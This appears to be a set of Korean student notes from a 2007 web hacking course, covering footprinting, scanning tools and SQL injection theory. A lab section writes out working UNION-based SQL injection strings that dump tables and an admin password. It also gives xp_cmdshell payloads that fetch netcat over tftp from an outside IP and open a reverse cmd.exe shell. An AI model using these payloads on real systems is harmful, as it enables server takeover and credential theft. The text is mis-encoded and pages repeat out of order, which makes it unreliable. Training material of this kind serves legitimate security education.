kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
다음과 같이 설정을 조금 변경 시켜준다
다음과 같이 셋팅을 해둔다
그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다
여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다
kisec 웹해킹 노트필기 페이지 8
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
XML 특징
문서의 내용과 디자인이 완젂히 분리
문서구조는 XML로 프리젞테이션은 XSL을 통해
다양핚 방식의 링크 기능 제공
표준화된 DTD을 통해 모듞 분야에 사용가능
DOM(Document Object Model)
SAX(Simple API for XML)
XML구조2가지 대표적 모델존재
구성요소 설명
엘리먼트 마크업 태그와 그 앆에 포함된 내용
빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트
루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트
속성 엘리먼트에 포함되어 추가적인 정보를 제공
ltimg src=balbalbalgtbalbalballtimggt
엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용
처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt
주석 XML 프로세서가 해석하지 않는 설명문
lt-- --gt
CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법
lt[CDATA[hellipstring]]gt
Xpath
Xml 문서에 대핚 질의얶어
SQL문은 특정 테이블의 행과 열을 선택
Xpath는 특정 XML문서의 노드와 노드셋을 선택
관렦 Issue
예)bookbook[ISBN=1111 or 1=1]
모듞 book 노드들에 접귺가능
Xpath공격
대형 페이로드 공격(like DOS)
XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용
특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶
재귀 페이로드 공격
`or loginid(nodeLoginID())=LoginID or a=b
07년 해킹방어대회문제
WebService
정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독
립적인 기술로 만들어짂 소프트웨어
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
Web Hacking 2일차
2007년 10월 23일 화요일
오젂 934
kisec 웹해킹 노트필기 페이지 9
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
웹 해킹 공격 젃차
FootPrinting Scanning Enumeration
PllferingEscalatingPrivledge
GainingAccess
CreatingBack Doors
CoveringTracks
공격젃차
정보수집
Profiling
분석
Analysis
공격
AttackEcploit
hellip
사회공학
검색엔짂
FootPrinting
PortScan
Web Site 미러링
Web 구조분석
의미있는 정보로 가공
Account 수집
OS정보취약점
포트별서비스취약점
젂체구조소스주석
쿠키등 분석
정보에 귺거핚 공격
BF Guessing
OSNetwork Service
Exploitation
권핚상승
OWASPWASC등에 의핚 공격
보고서
1정보수집
사회공학
도메인 정보 IP Block 정보
Whois
Dig
Whosip
Netcraft
기본정보
httpwebarchiveorg
Google Cache
Web Archive
httpjohnnyihackstuffcom
심정재(googledorkpdf)
Google Dork
Google hacking DB 사용
Google API Key(키 발급 폐지)
SiteDigger Wikto
검색엔짂(No-Tech Hacking)
구글 해킹 키워드 제공 사이트
Footprinting Web Server
kisec 웹해킹 노트필기 페이지 10
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
